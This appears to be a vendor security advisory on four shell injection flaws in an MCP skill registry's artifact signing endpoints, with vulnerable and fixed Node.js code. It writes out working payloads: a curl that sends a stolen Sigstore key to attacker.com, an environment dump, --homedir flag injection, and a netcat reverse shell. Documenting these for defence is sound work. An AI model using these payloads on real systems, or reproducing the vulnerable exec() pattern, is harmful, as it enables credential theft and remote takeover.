← Security advisories

Claude MCP skill code injection — skill build artifact signing and verification endpoints — SA-SKL-INJECTION37

SA-SKL-INJECTION37 documents four shell injection vulnerabilities in MCP skill registry build artifact signing and verification endpoints. Artifact signing workflows invoke external tools — sigstore, cosign, gpg, minisign — using shell-interpolated command strings that incorporate user-supplied parameters. When these tool invocations use exec() with template literal string concatenation rather than execFile() with an argument array, any parameter containing shell metacharacters (;, &&, |, whitespace-delimited flags) is interpreted by the shell and executes additional commands in the signing worker's process context. INJECTION37-001 targets the Sigstore Rekor URL parameter, exfiltrating the registry's Sigstore private signing key. INJECTION37-002 targets the cosign image name parameter, exfiltrating all environment variables including OCI registry push credentials. INJECTION37-003 targets the GPG signature file path using space-injected flag override, redirecting gpg's key lookup to an attacker-readable location. INJECTION37-004 targets the minisign public key path, establishing a reverse shell from the signing worker process.

SA-SKL-INJECTION37 findings at a glance
CRITICALINJECTION37-001 — exec(`sigstore sign ${artifactPath} --rekor-url ${rekorUrl}`); attacker rekorUrl with ; cat /etc/secrets/SIGSTORE_PRIVATE_KEY exfiltrates signing key enabling artifact forgery
CRITICALINJECTION37-002 — exec(`cosign verify ${imageName} --key ${keyPath}`); attacker imageName with ; env > /tmp/out.txt exfiltrates all env vars including OCI registry credentials
CRITICALINJECTION37-003 — exec(`gpg --verify ${signatureFile} ${artifactFile}`); attacker signatureFile with space-injected --homedir=/app/secrets reads GPG keyring including private signing keys
CRITICALINJECTION37-004 — exec(`minisign -V -p ${pubKeyPath} -m ${messagePath}`); attacker pubKeyPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell with signing worker process access

INJECTION37-001 — Sigstore rekorUrl injection exfiltrates private signing key

The Sigstore artifact signing endpoint invokes sigstore sign using an exec() call that interpolates the user-supplied rekorUrl parameter directly into the shell command string. The --rekor-url flag specifies the Rekor transparency log endpoint where the signature entry will be recorded. When an attacker supplies rekorUrl as https://rekor.sigstore.dev; cat /etc/secrets/SIGSTORE_PRIVATE_KEY > /tmp/leak.txt && curl https://attacker.com --data @/tmp/leak.txt, the shell executes the legitimate sigstore command followed by the exfiltration commands as a compound statement.

The SIGSTORE_PRIVATE_KEY is the most damaging credential to exfiltrate from a signing infrastructure. With the registry's private signing key, an attacker can sign arbitrary malicious skill artifacts so that they carry the registry's authentic trust signal. Downstream consumers — agents, CI pipelines, and security-conscious team leads who gate on a minimum signing grade — cannot distinguish a maliciously-signed artifact from a legitimately-signed one. The compromised signing key enables a supply chain attack that bypasses the registry's entire trust verification layer without requiring any further access to the registry's infrastructure.

INJECTION37-001 fix: Replace exec() with execFile('sigstore', ['sign', artifactPath, '--rekor-url', rekorUrl]). Validate rekorUrl against an explicit allowlist of known Sigstore Rekor endpoints — only https://rekor.sigstore.dev and approved enterprise Rekor deployments. Apply realpathSync containment to artifactPath to prevent directory traversal.

WRONG
async function signArtifact(artifactPath, rekorUrl) {
  const { stdout } = await exec(
    `sigstore sign ${artifactPath} --rekor-url ${rekorUrl}`
  ); // shell injection via rekorUrl
  return stdout;
}
RIGHT
const REKOR_ALLOWLIST = new Set([
  'https://rekor.sigstore.dev',
  'https://rekor.enterprise.skillaudit.dev'
]);

async function signArtifact(artifactPath, rekorUrl) {
  if (!REKOR_ALLOWLIST.has(rekorUrl)) throw new Error('rekorUrl not in allowlist');
  const safeArtifactPath = realpathSync(artifactPath);
  if (!safeArtifactPath.startsWith(ARTIFACTS_DIR)) throw new Error('path escape');
  const { stdout } = await execFile('sigstore', [
    'sign', safeArtifactPath, '--rekor-url', rekorUrl
  ]); // array — shell never invoked
  return stdout;
}

INJECTION37-002 — cosign imageName injection exfiltrates OCI registry credentials

The cosign signature verification endpoint invokes cosign verify using an exec() call that interpolates imageName into the shell command. OCI image name validation is typically done only at the application layer (checking for valid registry/repository/tag format) without stripping shell metacharacters. An attacker who supplies an image name containing a semicolon followed by a data exfiltration command achieves shell code execution that runs with the same environment variables as the cosign process — which includes DOCKER_USERNAME, DOCKER_PASSWORD, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and OCI registry push tokens used for publishing signed skill artifacts.

The correct fix requires two independent controls. First, execFile() with an argument array eliminates shell interpretation entirely, making metacharacter injection structurally impossible. Second, validating imageName against a digest-only pattern (/^[a-z0-9.\-\/]+@sha256:[a-f0-9]{64}$/) ensures that only content-addressed image references are accepted — tags and floating references are rejected, which is independently valuable for supply chain security because digest references are immutable while tag references can be repointed to different images.

INJECTION37-002 fix: Replace exec() with execFile('cosign', ['verify', imageName, '--key', keyPath]). Validate imageName against /^[a-z0-9.\-\/]+@sha256:[a-f0-9]{64}$/ — digest references only. Derive keyPath entirely from server-side constants, never from user input.

INJECTION37-003 — gpg --verify space-injection via signatureFile reads GPG keyring

The GPG signature verification endpoint invokes gpg --verify using exec() with signatureFile and artifactFile both interpolated as shell tokens. Unlike semicolon injection which requires a metacharacter, this vulnerability exploits the fact that shell word-splitting on unquoted arguments allows an attacker to inject additional GPG command-line flags by embedding spaces in the signatureFile value. Supplying signatureFile as /uploads/valid.sig --homedir=/app/secrets/gpg causes the shell to pass --homedir=/app/secrets/gpg as a separate gpg argument, overriding the default keyring location and redirecting gpg to read the registry's private signing keyring at the specified path.

GPG's --homedir flag is designed for legitimate use cases like CI environments with custom keyring locations. When an attacker overrides it to point at a directory containing the registry's private signing keys, gpg reads those keys during signature verification. Depending on gpg's output format and whether the calling code logs gpg's stdout, the keyring contents may be directly observable in application logs. Even without log access, the attacker can verify that the injection succeeded by checking whether the signature verification returns a success result that references keys from the overridden homedir.

INJECTION37-003 fix: Replace exec() with execFile('gpg', ['--verify', '--homedir', GPG_HOMEDIR, signatureFile, artifactFile]) where GPG_HOMEDIR is a server-side constant. Apply realpathSync containment to both signatureFile and artifactFile. Because execFile() passes arguments as a true array without shell word-splitting, space-based flag injection is structurally impossible regardless of input content.

INJECTION37-004 — minisign pubKeyPath injection establishes reverse shell

The minisign artifact verification endpoint invokes minisign -V using exec() with the pubKeyPath and messagePath parameters interpolated into the shell string. Minisign's -p flag specifies the public key file for signature verification. An attacker who supplies pubKeyPath as /keys/valid.pub; nc attacker.com 4444 -e /bin/sh causes the shell to execute minisign's verification (which may succeed or fail depending on input), followed by launching a netcat reverse shell. The reverse shell runs with the full privileges of the signing worker process — including access to all environment variables, mounted secrets, and the filesystem paths that contain private signing keys and registry credentials.

Reverse shell access to the signing worker process provides persistent foothold in the signing infrastructure. Unlike data exfiltration attacks that extract specific credentials, a reverse shell gives the attacker an interactive session to explore the signing worker's environment, identify all stored credentials, modify the signing pipeline, and potentially tamper with artifacts in-flight during the signing process. The attack is particularly damaging in containerized signing environments where the signing worker has access to Kubernetes secrets, cloud provider metadata endpoints, and mounted signing keystores.

INJECTION37-004 fix: Replace exec() with execFile('minisign', ['-V', '-p', pubKeyPath, '-m', messagePath]). Derive pubKeyPath entirely from a server-side constant — it should never come from user input. Apply realpathSync containment to messagePath to prevent directory traversal to files outside the designated artifact directory.

WRONG
async function verifyMinisign(pubKeyPath, messagePath) {
  const { stdout } = await exec(
    `minisign -V -p ${pubKeyPath} -m ${messagePath}`
  ); // shell injection via pubKeyPath or messagePath
  return stdout.includes('Signature and comment signature verified');
}
RIGHT
const MINISIGN_PUBKEY = '/etc/signing-keys/registry.pub'; // server-side constant

async function verifyMinisign(messagePath) {
  const safeMessagePath = realpathSync(messagePath);
  if (!safeMessagePath.startsWith(ARTIFACTS_DIR)) throw new Error('path escape');
  const { stdout } = await execFile('minisign', [
    '-V', '-p', MINISIGN_PUBKEY, '-m', safeMessagePath
  ]); // array — shell never invoked; pubKeyPath is not user-supplied
  return stdout.includes('Signature and comment signature verified');
}

SkillAudit scans your registry's artifact signing and verification router for all four INJECTION37 patterns, plus the full SA-SKL-INJECTION series covering code injection in every registry subsystem. Get started free — 3 audits/month on public repos, results in 60 seconds.